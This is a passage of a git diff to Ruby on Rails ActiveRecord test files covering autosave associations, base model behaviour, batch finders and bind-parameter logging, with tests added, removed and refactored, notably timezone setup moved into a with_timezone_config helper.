+    assert_equal 3, company.clients_of_firm(true).size
   end
 
   def test_build_many_before_save
@@ -464,7 +518,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
 
     company.name += '-changed'
     assert_queries(3) { assert company.save }
-    assert_equal 3, company.clients_of_firm(true).size
+    assert_equal 4, company.clients_of_firm(true).size
   end
 
   def test_build_via_block_before_save
@@ -475,7 +529,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
     company.name += '-changed'
     assert_queries(2) { assert company.save }
     assert new_client.persisted?
-    assert_equal 2, company.clients_of_firm(true).size
+    assert_equal 3, company.clients_of_firm(true).size
   end
 
   def test_build_many_via_block_before_save
@@ -488,7 +542,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
 
     company.name += '-changed'
     assert_queries(3) { assert company.save }
-    assert_equal 3, company.clients_of_firm(true).size
+    assert_equal 4, company.clients_of_firm(true).size
   end
 
   def test_replace_on_new_object
@@ -574,6 +628,13 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
     @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
   end
 
+  def teardown
+    # We are running without transactional fixtures and need to cleanup.
+    Bird.delete_all
+    @ship.delete
+    @pirate.delete
+  end
+
   # reload
   def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
     @pirate.mark_for_destruction
@@ -626,10 +687,25 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
       end
     end
 
+    @ship.pirate.catchphrase = "Changed Catchphrase"
+
     assert_raise(RuntimeError) { assert !@pirate.save }
     assert_not_nil @pirate.reload.ship
   end
 
+  def test_should_save_changed_has_one_changed_object_if_child_is_saved
+    @pirate.ship.name = "NewName"
+    @pirate.ship.expects(:save).once.returns(true)
+
+    assert @pirate.save
+  end
+
+  def test_should_not_save_changed_has_one_unchanged_object_if_child_is_saved
+    @pirate.ship.expects(:save).never
+
+    assert @pirate.save
+  end
+
   # belongs_to
   def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
     assert !@ship.pirate.marked_for_destruction?
@@ -1176,15 +1252,15 @@ module AutosaveAssociationOnACollectionAssociationTests
   end
 
   def test_should_default_invalid_error_from_i18n
-    I18n.backend.store_translations(:en, :activerecord => {:errors => { :models =>
-      { @association_name.to_s.singularize.to_sym => { :blank => "cannot be blank" } }
+    I18n.backend.store_translations(:en, activerecord: {errors: { models:
+      { @associated_model_name.to_s.to_sym => { blank: "cannot be blank" } }
     }})
 
-    @pirate.send(@association_name).build(:name => '')
+    @pirate.send(@association_name).build(name: '')
 
     assert !@pirate.valid?
     assert_equal ["cannot be blank"], @pirate.errors["#{@association_name}.name"]
-    assert_equal ["#{@association_name.to_s.titleize} name cannot be blank"], @pirate.errors.full_messages
+    assert_equal ["#{@association_name.to_s.humanize} name cannot be blank"], @pirate.errors.full_messages
     assert @pirate.errors[@association_name].empty?
   ensure
     I18n.backend = I18n::Backend::Simple.new
@@ -1300,6 +1376,7 @@ class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
   def setup
     super
     @association_name = :birds
+    @associated_model_name = :bird
 
     @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
     @child_1 = @pirate.birds.create(:name => 'Posideons Killer')
@@ -1314,12 +1391,30 @@ class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::T
 
   def setup
     super
+    @association_name = :autosaved_parrots
+    @associated_model_name = :parrot
+    @habtm = true
+
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @child_1 = @pirate.parrots.create(name: 'Posideons Killer')
+    @child_2 = @pirate.parrots.create(name: 'Killer bandita Dionne')
+  end
+
+  include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationOnAHasAndBelongsToManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false unless supports_savepoints?
+
+  def setup
+    super
     @association_name = :parrots
+    @associated_model_name = :parrot
     @habtm = true
 
-    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
-    @child_1 = @pirate.parrots.create(:name => 'Posideons Killer')
-    @child_2 = @pirate.parrots.create(:name => 'Killer bandita Dionne')
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @child_1 = @pirate.parrots.create(name: 'Posideons Killer')
+    @child_2 = @pirate.parrots.create(name: 'Killer bandita Dionne')
   end
 
   include AutosaveAssociationOnACollectionAssociationTests
@@ -1440,10 +1535,6 @@ class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCas
   test "should generate validation methods for HABTM associations with :validate => true" do
     assert_respond_to @pirate, :validate_associated_records_for_parrots
   end
-
-  test "should not generate validation methods for HABTM associations without :validate => true" do
-    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrots)
-  end
 end
 
 class TestAutosaveAssociationWithTouch < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
old mode 100755
new mode 100644
index 36c0fd2..df9dfc3
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -1,6 +1,7 @@
 # encoding: utf-8
 
 require "cases/helper"
+require 'active_support/concurrency/latch'
 require 'models/post'
 require 'models/author'
 require 'models/topic'
@@ -77,22 +78,6 @@ end
 class BasicsTest < ActiveRecord::TestCase
   fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts
 
-  def setup
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-    Time.zone = nil
-  end
-
-  def test_generated_methods_modules
-    modules = Computer.ancestors
-    assert modules.include?(Computer::GeneratedFeatureMethods)
-    assert_equal(Computer::GeneratedFeatureMethods, Computer.generated_feature_methods)
-    assert(modules.index(Computer.generated_attribute_methods) > modules.index(Computer.generated_feature_methods),
-           "generated_attribute_methods must be higher in inheritance hierarchy than generated_feature_methods")
-    assert_not_equal Computer.generated_feature_methods, Post.generated_feature_methods
-    assert(modules.index(Computer.generated_attribute_methods) < modules.index(ActiveRecord::Base.ancestors[1]))
-  end
-
   def test_column_names_are_escaped
     conn      = ActiveRecord::Base.connection
     classname = conn.class.name[/[^:]*$/]
@@ -136,6 +121,10 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal 1, Topic.limit(1).to_a.length
   end
 
+  def test_limit_should_take_value_from_latest_limit
+    assert_equal 1, Topic.limit(2).limit(1).to_a.length
+  end
+
   def test_invalid_limit
     assert_raises(ArgumentError) do
       Topic.limit("asdfadf").to_a
@@ -233,7 +222,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_preserving_time_objects_with_local_time_conversion_to_default_timezone_utc
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         time = Time.local(2000)
         topic = Topic.create('written_on' => time)
         saved_time = Topic.find(topic.id).reload.written_on
@@ -246,7 +235,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_utc
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :utc do
+      with_timezone_config default: :utc do
         Time.use_zone 'Central Time (US & Canada)' do
           time = Time.zone.local(2000)
           topic = Topic.create('written_on' => time)
@@ -261,18 +250,20 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_preserving_time_objects_with_utc_time_conversion_to_default_timezone_local
     with_env_tz 'America/New_York' do
-      time = Time.utc(2000)
-      topic = Topic.create('written_on' => time)
-      saved_time = Topic.find(topic.id).reload.written_on
-      assert_equal time, saved_time
-      assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
-      assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+      with_timezone_config default: :local do
+        time = Time.utc(2000)
+        topic = Topic.create('written_on' => time)
+        saved_time = Topic.find(topic.id).reload.written_on
+        assert_equal time, saved_time
+        assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
+        assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+      end
     end
   end
 
   def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_local
     with_env_tz 'America/New_York' do
-      with_active_record_default_timezone :local do
+      with_timezone_config default: :local do
         Time.use_zone 'Central Time (US & Canada)' do
           time = Time.zone.local(2000)
           topic = Topic.create('written_on' => time)
@@ -330,7 +321,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_load
     topics = Topic.all.merge!(:order => 'id').to_a
-    assert_equal(4, topics.size)
+    assert_equal(5, topics.size)
     assert_equal(topics(:first).title, topics.first.title)
   end
 
@@ -492,25 +483,25 @@ class BasicsTest < ActiveRecord::TestCase
   # Oracle, and Sybase do not have a TIME datatype.
   unless current_adapter?(:OracleAdapter, :SybaseAdapter)
     def test_utc_as_time_zone
-      Topic.default_timezone = :utc
-      attributes = { "bonus_time" => "5:42:00AM" }
-      topic = Topic.find(1)
-      topic.attributes = attributes
-      assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
-      Topic.default_timezone = :local
+      with_timezone_config default: :utc do
+        attributes = { "bonus_time" => "5:42:00AM" }
+        topic = Topic.find(1)
+        topic.attributes = attributes
+        assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
+      end
     end
 
     def test_utc_as_time_zone_and_new
-      Topic.default_timezone = :utc
-      attributes = { "bonus_time(1i)"=>"2000",
-                     "bonus_time(2i)"=>"1",
-                     "bonus_time(3i)"=>"1",
-                     "bonus_time(4i)"=>"10",
-                     "bonus_time(5i)"=>"35",
-                     "bonus_time(6i)"=>"50" }
-      topic = Topic.new(attributes)
-      assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
-      Topic.default_timezone = :local
+      with_timezone_config default: :utc do
+        attributes = { "bonus_time(1i)"=>"2000",
+          "bonus_time(2i)"=>"1",
+          "bonus_time(3i)"=>"1",
+          "bonus_time(4i)"=>"10",
+          "bonus_time(5i)"=>"35",
+          "bonus_time(6i)"=>"50" }
+        topic = Topic.new(attributes)
+        assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
+      end
     end
   end
 
@@ -542,6 +533,7 @@ class BasicsTest < ActiveRecord::TestCase
 
   def test_equality_of_new_records
     assert_not_equal Topic.new, Topic.new
+    assert_equal false, Topic.new == Topic.new
   end
 
   def test_equality_of_destroyed_records
@@ -553,17 +545,64 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal topic_2, topic_1
   end
 
+  def test_equality_with_blank_ids
+    one = Subscriber.new(:id => '')
+    two = Subscriber.new(:id => '')
+    assert_equal one, two
+  end
+
+  def test_equality_of_relation_and_collection_proxy
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert car.bulbs == Bulb.where(car_id: car.id), 'CollectionProxy should be comparable with Relation'
+    assert Bulb.where(car_id: car.id) == car.bulbs, 'Relation should be comparable with CollectionProxy'
+  end
+
+  def test_equality_of_relation_and_array
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert Bulb.where(car_id: car.id) == car.bulbs.to_a, 'Relation should be comparable with Array'
+  end
+
+  def test_equality_of_relation_and_association_relation
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert_equal Bulb.where(car_id: car.id), car.bulbs.includes(:car), 'Relation should be comparable with AssociationRelation'
+    assert_equal car.bulbs.includes(:car), Bulb.where(car_id: car.id), 'AssociationRelation should be comparable with Relation'
+  end
+
+  def test_equality_of_collection_proxy_and_association_relation
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert_equal car.bulbs, car.bulbs.includes(:car), 'CollectionProxy should be comparable with AssociationRelation'
+    assert_equal car.bulbs.includes(:car), car.bulbs, 'AssociationRelation should be comparable with CollectionProxy'
+  end
+
   def test_hashing
     assert_equal [ Topic.find(1) ], [ Topic.find(2).topic ] & [ Topic.find(1) ]
   end
 
-  def test_comparison
+  def test_successful_comparison_of_like_class_records
     topic_1 = Topic.create!
     topic_2 = Topic.create!
 
     assert_equal [topic_2, topic_1].sort, [topic_1, topic_2]
   end
 
+  def test_failed_comparison_of_unlike_class_records
+    assert_raises ArgumentError do
+      [ topics(:first), posts(:welcome) ].sort
+    end
+  end
+
   def test_create_without_prepared_statement
     topic = Topic.connection.unprepared_statement do
       Topic.create(:title => 'foo')
@@ -587,6 +626,13 @@ class BasicsTest < ActiveRecord::TestCase
     assert_nil topic <=> category
   end
 
+  def test_comparison_with_different_objects_in_array
+    topic = Topic.create
+    assert_raises(ArgumentError) do
+      [1, topic].sort
+    end
+  end
+
   def test_readonly_attributes
     assert_equal Set.new([ 'title' , 'comments_count' ]), ReadonlyTitlePost.readonly_attributes
 
@@ -600,30 +646,24 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal "changed", post.body
   end
 
-  def test_attr_readonly_is_class_level_setting
-    post = ReadonlyTitlePost.new
-    assert_raise(NoMethodError) { post._attr_readonly = [:title] }
-    assert_deprecated { post._attr_readonly }
-  end
-
   def test_unicode_column_name
     Weird.reset_column_information
     weird = Weird.create(:なまえ => 'たこ焼き仮面')
     assert_equal 'たこ焼き仮面', weird.なまえ
   end
 
-  def test_respect_internal_encoding
-    if current_adapter?(:PostgreSQLAdapter)
-      skip 'pg does not respect internal encoding and always returns utf8'
-    end
-    old_default_internal = Encoding.default_internal
-    silence_warnings { Encoding.default_internal = "EUC-JP" }
+  unless current_adapter?(:PostgreSQLAdapter)
+    def test_respect_internal_encoding
+      old_default_internal = Encoding.default_internal
+      silence_warnings { Encoding.default_internal = "EUC-JP" }
 
-    Weird.reset_column_information
+      Weird.reset_column_information
 
-    assert_equal ["EUC-JP"], Weird.columns.map {|c| c.name.encoding.name }.uniq
-  ensure
-    silence_warnings { Encoding.default_internal = old_default_internal }
+      assert_equal ["EUC-JP"], Weird.columns.map {|c| c.name.encoding.name }.uniq
+    ensure
+      silence_warnings { Encoding.default_internal = old_default_internal }
+      Weird.reset_column_information
+    end
   end
 
   def test_non_valid_identifier_column_name
@@ -648,12 +688,14 @@ class BasicsTest < ActiveRecord::TestCase
     # Oracle, and Sybase do not have a TIME datatype.
     return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
 
-    attributes = {
-      "bonus_time" => "5:42:00AM"
-    }
-    topic = Topic.find(1)
-    topic.attributes = attributes
-    assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+    with_timezone_config default: :local do
+      attributes = {
+        "bonus_time" => "5:42:00AM"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+    end
   end
 
   def test_attributes_on_dummy_time_with_invalid_time
@@ -841,19 +883,18 @@ class BasicsTest < ActiveRecord::TestCase
   # TODO: extend defaults tests to other databases!
   if current_adapter?(:PostgreSQLAdapter)
     def test_default
-      tz = Default.default_timezone
-      Default.default_timezone = :local
-      default = Default.new
-      Default.default_timezone = tz
-
-      # fixed dates / times
-      assert_equal Date.new(2004, 1, 1), default.fixed_date
-      assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
-
-      # char types
-      assert_equal 'Y', default.char1
-      assert_equal 'a varchar field', default.char2
-      assert_equal 'a text field', default.char3
+      with_timezone_config default: :local do
+        default = Default.new
+
+        # fixed dates / times
+        assert_equal Date.new(2004, 1, 1), default.fixed_date
+        assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
+
+        # char types
+        assert_equal 'Y', default.char1
+        assert_equal 'a varchar field', default.char2
+        assert_equal 'a text field', default.char3
+      end
     end
 
     class Geometric < ActiveRecord::Base; end
@@ -1125,7 +1166,7 @@ class BasicsTest < ActiveRecord::TestCase
     k = Class.new(ak)
     k.table_name = "projects"
     orig_name = k.sequence_name
-    return skip "sequences not supported by db" unless orig_name
+    skip "sequences not supported by db" unless orig_name
     assert_equal k.reset_sequence_name, orig_name
   end
 
@@ -1267,93 +1308,6 @@ class BasicsTest < ActiveRecord::TestCase
     assert_no_queries { assert true }
   end
 
-  def test_to_param_should_return_string
-    assert_kind_of String, Client.first.to_param
-  end
-
-  def test_to_param_returns_id_even_if_not_persisted
-    client = Client.new
-    client.id = 1
-    assert_equal "1", client.to_param
-  end
-
-  def test_inspect_class
-    assert_equal 'ActiveRecord::Base', ActiveRecord::Base.inspect
-    assert_equal 'LoosePerson(abstract)', LoosePerson.inspect
-    assert_match(/^Topic\(id: integer, title: string/, Topic.inspect)
-  end
-
-  def test_inspect_instance
-    topic = topics(:first)
-    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david at loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", important: nil, approved: false, replies_count: 1, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_s(:db)}", updated_at: "#{topic.updated_at.to_s(:db)}">),  [...]
-  end
-
-  def test_inspect_new_instance
-    assert_match(/Topic id: nil/, Topic.new.inspect)
-  end
-
-  def test_inspect_limited_select_instance
-    assert_equal %(#<Topic id: 1>), Topic.all.merge!(:select => 'id', :where => 'id = 1').first.inspect
-    assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.all.merge!(:select => 'id, title', :where => 'id = 1').first.inspect
-  end
-
-  def test_inspect_class_without_table
-    assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
-  end
-
-  def test_attribute_for_inspect
-    t = topics(:first)
-    t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
-
-    assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
-    assert_equal '"The First Topic Now Has A Title With\nNewlines And M..."', t.attribute_for_inspect(:title)
-  end
-
-  def test_becomes
-    assert_kind_of Reply, topics(:first).becomes(Reply)
-    assert_equal "The First Topic", topics(:first).becomes(Reply).title
-  end
-
-  def test_becomes_includes_errors
-    company = Company.new(:name => nil)
-    assert !company.valid?
-    original_errors = company.errors
-    client = company.becomes(Client)
-    assert_equal original_errors, client.errors
-  end
-
-  def test_silence_sets_log_level_to_error_in_block
-    original_logger = ActiveRecord::Base.logger
-
-    assert_deprecated do
-      log = StringIO.new
-      ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
-      ActiveRecord::Base.logger.level = Logger::DEBUG
-      ActiveRecord::Base.silence do
-        ActiveRecord::Base.logger.warn "warn"
-        ActiveRecord::Base.logger.error "error"
-      end
-      assert_equal "error\n", log.string
-    end
-  ensure
-    ActiveRecord::Base.logger = original_logger
-  end
-
-  def test_silence_sets_log_level_back_to_level_before_yield
-    original_logger = ActiveRecord::Base.logger
-
-    assert_deprecated do
-      log = StringIO.new
-      ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
-      ActiveRecord::Base.logger.level = Logger::WARN
-      ActiveRecord::Base.silence do
-      end
-      assert_equal Logger::WARN, ActiveRecord::Base.logger.level
-    end
-  ensure
-    ActiveRecord::Base.logger = original_logger
-  end
-
   def test_benchmark_with_log_level
     original_logger = ActiveRecord::Base.logger
     log = StringIO.new
@@ -1384,9 +1338,11 @@ class BasicsTest < ActiveRecord::TestCase
   end
 
   def test_compute_type_nonexistent_constant
-    assert_raises NameError do
+    e = assert_raises NameError do
       ActiveRecord::Base.send :compute_type, 'NonexistentModel'
     end
+    assert_equal 'uninitialized constant ActiveRecord::Base::NonexistentModel', e.message
+    assert_equal 'ActiveRecord::Base::NonexistentModel', e.name
   end
 
   def test_compute_type_no_method_error
@@ -1448,6 +1404,37 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal 1, post.comments.length
   end
 
+  if Process.respond_to?(:fork) && !in_memory_db?
+    def test_marshal_between_processes
+      # Define a new model to ensure there are no caches
+      if self.class.const_defined?("Post", false)
+        flunk "there should be no post constant"
+      end
+
+      self.class.const_set("Post", Class.new(ActiveRecord::Base) {
+        has_many :comments
+      })
+
+      rd, wr = IO.pipe
+      rd.binmode
+      wr.binmode
+
+      ActiveRecord::Base.connection_handler.clear_all_connections!
+
+      fork do
+        rd.close
+        post = Post.new
+        post.comments.build
+        wr.write Marshal.dump(post)
+        wr.close
+      end
+
+      wr.close
+      assert Marshal.load rd.read
+      rd.close
+    end
+  end
+
   def test_marshalling_new_record_round_trip_with_associations
     post = Post.new
     post.comments.build
@@ -1470,62 +1457,6 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal [], AbstractCompany.attribute_names
   end
 
-  def test_cache_key_for_existing_record_is_not_timezone_dependent
-    ActiveRecord::Base.time_zone_aware_attributes = true
-
-    Time.zone = "UTC"
-    utc_key = Developer.first.cache_key
-
-    Time.zone = "EST"
-    est_key = Developer.first.cache_key
-
-    assert_equal utc_key, est_key
-  end
-
-  def test_cache_key_format_for_existing_record_with_updated_at
-    dev = Developer.first
-    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
-  end
-
-  def test_cache_key_format_for_existing_record_with_updated_at_and_custom_cache_timestamp_format
-    dev = CachedDeveloper.first
-    assert_equal "cached_developers/#{dev.id}-#{dev.updated_at.utc.to_s(:number)}", dev.cache_key
-  end
-
-  def test_cache_key_changes_when_child_touched
-    car = Car.create
-    Bulb.create(car: car)
-
-    key = car.cache_key
-    car.bulb.touch
-    car.reload
-    assert_not_equal key, car.cache_key
-  end
-
-  def test_cache_key_format_for_existing_record_with_nil_updated_timestamps
-    dev = Developer.first
-    dev.update_columns(updated_at: nil, updated_on: nil)
-    assert_match(/\/#{dev.id}$/, dev.cache_key)
-  end
-
-  def test_cache_key_for_updated_on
-    dev = Developer.first
-    dev.updated_at = nil
-    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key
-  end
-
-  def test_cache_key_for_newer_updated_at
-    dev = Developer.first
-    dev.updated_at += 3600
-    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
-  end
-
-  def test_cache_key_for_newer_updated_on
-    dev = Developer.first
-    dev.updated_on += 3600
-    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key
-  end
-
   def test_touch_should_raise_error_on_a_new_object
     company = Company.new(:rating => 1, :name => "37signals", :firm_name => "37signals")
     assert_raises(ActiveRecord::ActiveRecordError) do
@@ -1533,13 +1464,6 @@ class BasicsTest < ActiveRecord::TestCase
     end
   end
 
-  def test_cache_key_format_is_precise_enough
-    dev = Developer.first
-    key = dev.cache_key
-    dev.touch
-    assert_not_equal key, dev.cache_key
-  end
-
   def test_uniq_delegates_to_scoped
     scope = stub
     Bird.stubs(:all).returns(mock(:uniq => scope))
@@ -1653,21 +1577,20 @@ class BasicsTest < ActiveRecord::TestCase
     orig_handler = klass.connection_handler
     new_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
     after_handler = nil
-    is_set = false
+    latch1 = ActiveSupport::Concurrency::Latch.new
+    latch2 = ActiveSupport::Concurrency::Latch.new
 
     t = Thread.new do
       klass.connection_handler = new_handler
-      is_set = true
-      Thread.stop
+      latch1.release
+      latch2.await
       after_handler = klass.connection_handler
     end
 
-    while(!is_set)
-      Thread.pass
-    end
+    latch1.await
 
     klass.connection_handler = orig_handler
-    t.wakeup
+    latch2.release
     t.join
 
     assert_equal after_handler, new_handler
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
index edc258b..c12fa03 100644
--- a/activerecord/test/cases/batches_test.rb
+++ b/activerecord/test/cases/batches_test.rb
@@ -12,7 +12,7 @@ class EachTest < ActiveRecord::TestCase
   end
 
   def test_each_should_execute_one_query_per_batch
-    assert_queries(Post.count + 1) do
+    assert_queries(@total + 1) do
       Post.find_each(:batch_size => 1) do |post|
         assert_kind_of Post, post
       end
@@ -26,9 +26,37 @@ class EachTest < ActiveRecord::TestCase
     end
   end
 
+  def test_each_should_return_an_enumerator_if_no_block_is_present
+    assert_queries(1) do
+      Post.find_each(:batch_size => 100000).with_index do |post, index|
+        assert_kind_of Post, post
+        assert_kind_of Integer, index
+      end
+    end
+  end
+
+  if Enumerator.method_defined? :size
+    def test_each_should_return_a_sized_enumerator
+      assert_equal 11, Post.find_each(:batch_size => 1).size
+      assert_equal 5, Post.find_each(:batch_size => 2, :start => 7).size
+      assert_equal 11, Post.find_each(:batch_size => 10_000).size
+    end
+  end
+
+  def test_each_enumerator_should_execute_one_query_per_batch
+    assert_queries(@total + 1) do
+      Post.find_each(:batch_size => 1).with_index do |post, index|
+        assert_kind_of Post, post
+        assert_kind_of Integer, index
+      end
+    end
+  end
+
   def test_each_should_raise_if_select_is_set_without_id
     assert_raise(RuntimeError) do
-      Post.select(:title).find_each(:batch_size => 1) { |post| post }
+      Post.select(:title).find_each(batch_size: 1) { |post|
+        flunk "should not call this block"
+      }
     end
   end
 
@@ -61,7 +89,7 @@ class EachTest < ActiveRecord::TestCase
   end
 
   def test_find_in_batches_should_return_batches
-    assert_queries(Post.count + 1) do
+    assert_queries(@total + 1) do
       Post.find_in_batches(:batch_size => 1) do |batch|
         assert_kind_of Array, batch
         assert_kind_of Post, batch.first
@@ -70,7 +98,7 @@ class EachTest < ActiveRecord::TestCase
   end
 
   def test_find_in_batches_should_start_from_the_start_option
-    assert_queries(Post.count) do
+    assert_queries(@total) do
       Post.find_in_batches(:batch_size => 1, :start => 2) do |batch|
         assert_kind_of Array, batch
         assert_kind_of Post, batch.first
@@ -79,14 +107,12 @@ class EachTest < ActiveRecord::TestCase
   end
 
   def test_find_in_batches_shouldnt_execute_query_unless_needed
-    post_count = Post.count
-
     assert_queries(2) do
-      Post.find_in_batches(:batch_size => post_count) {|batch| assert_kind_of Array, batch }
+      Post.find_in_batches(:batch_size => @total) {|batch| assert_kind_of Array, batch }
     end
 
     assert_queries(1) do
-      Post.find_in_batches(:batch_size => post_count + 1) {|batch| assert_kind_of Array, batch }
+      Post.find_in_batches(:batch_size => @total + 1) {|batch| assert_kind_of Array, batch }
     end
   end
 
@@ -135,6 +161,12 @@ class EachTest < ActiveRecord::TestCase
     assert_equal special_posts_ids, posts.map(&:id)
   end
 
+  def test_find_in_batches_should_not_modify_passed_options
+    assert_nothing_raised do
+      Post.find_in_batches({ batch_size: 42, start: 1 }.freeze){}
+    end
+  end
+
   def test_find_in_batches_should_use_any_column_as_primary_key
     nick_order_subscribers = Subscriber.order('nick asc')
     start_nick = nick_order_subscribers.second.nick
@@ -154,4 +186,27 @@ class EachTest < ActiveRecord::TestCase
       end
     end
   end
+
+  def test_find_in_batches_should_return_an_enumerator
+    enum = nil
+    assert_queries(0) do
+      enum = Post.find_in_batches(:batch_size => 1)
+    end
+    assert_queries(4) do
+      enum.first(4) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  if Enumerator.method_defined? :size
+    def test_find_in_batches_should_return_a_sized_enumerator
+      assert_equal 11, Post.find_in_batches(:batch_size => 1).size
+      assert_equal 6, Post.find_in_batches(:batch_size => 2).size
+      assert_equal 4, Post.find_in_batches(:batch_size => 2, :start => 4).size
+      assert_equal 4, Post.find_in_batches(:batch_size => 3).size
+      assert_equal 1, Post.find_in_batches(:batch_size => 10_000).size
+    end
+  end
 end
diff --git a/activerecord/test/cases/bind_parameter_test.rb b/activerecord/test/cases/bind_parameter_test.rb
index 03aa9fd..291751c 100644
--- a/activerecord/test/cases/bind_parameter_test.rb
+++ b/activerecord/test/cases/bind_parameter_test.rb
@@ -23,46 +23,56 @@ module ActiveRecord
       @listener   = LogListener.new
       @pk         = Topic.columns.find { |c| c.primary }
       ActiveSupport::Notifications.subscribe('sql.active_record', @listener)
-
-      skip_if_prepared_statement_caching_is_not_supported
     end
 
     def teardown
       ActiveSupport::Notifications.unsubscribe(@listener)
     end
 
-    def test_binds_are_logged
-      sub   = @connection.substitute_at(@pk, 0)
-      binds = [[@pk, 1]]
-      sql   = "select * from topics where id = #{sub}"
+    if ActiveRecord::Base.connection.supports_statement_cache?
+      def test_binds_are_logged
+        sub   = @connection.substitute_at(@pk, 0)
+        binds = [[@pk, 1]]
+        sql   = "select * from topics where id = #{sub}"
 
-      @connection.exec_query(sql, 'SQL', binds)
+        @connection.exec_query(sql, 'SQL', binds)
 
-      message = @listener.calls.find { |args| args[4][:sql] == sql }
-      assert_equal binds, message[4][:binds]
-    end
+        message = @listener.calls.find { |args| args[4][:sql] == sql }
+        assert_equal binds, message[4][:binds]
+      end
 
-    def test_find_one_uses_binds
-      Topic.find(1)
-      binds = [[@pk, 1]]
-      message = @listener.calls.find { |args| args[4][:binds] == binds }
-      assert message, 'expected a message with binds'
-    end
+      def test_binds_are_logged_after_type_cast
+        sub   = @connection.substitute_at(@pk, 0)
+        binds = [[@pk, "3"]]
+        sql   = "select * from topics where id = #{sub}"
 
-    def test_logs_bind_vars
-      pk = Topic.columns.find { |x| x.primary }
-
-      payload = {
-        :name  => 'SQL',
-        :sql   => 'select * from topics where id = ?',
-        :binds => [[pk, 10]]
-      }
-      event  = ActiveSupport::Notifications::Event.new(
-        'foo',
-        Time.now,
-        Time.now,
-        123,
-        payload)
+        @connection.exec_query(sql, 'SQL', binds)
+
+        message = @listener.calls.find { |args| args[4][:sql] == sql }
+        assert_equal [[@pk, 3]], message[4][:binds]
+      end
+
+      def test_find_one_uses_binds
+        Topic.find(1)
